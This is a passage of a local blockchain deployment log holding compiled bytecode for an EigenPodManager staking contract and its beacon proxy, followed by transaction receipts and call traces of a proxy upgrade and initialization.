0624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a2646970667358221220399497eab4459a973826c435240cfd79916cb991f3ddb98b84a2d2a19866f8da64736f6c634300081c0033","nonce":17,"gas_used":2870970},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x2bceba","logs":[{"address":"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000001000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x8eb1c59d065e15379942853c55bc35bff71cfdb061fd2e43925e4b69d77906a1","block_number":11},{"info":{"transaction_hash":"0x07fcd103ee0ca154b0df41b41dfec0848907f483d2ccb95fc49b5c956a34a00b","transaction_index":3,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000851356ae760d987e095750cceb3bc6014560891c0000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd0000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000264dd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":546572,"gas_limit":682457,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd0000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000264dd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":538890,"gas_limit":664279,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd00"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[3,5,7],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xdd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a7640000","output":"0x","gas_used":524781,"gas_limit":640228,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"],"data":"0x0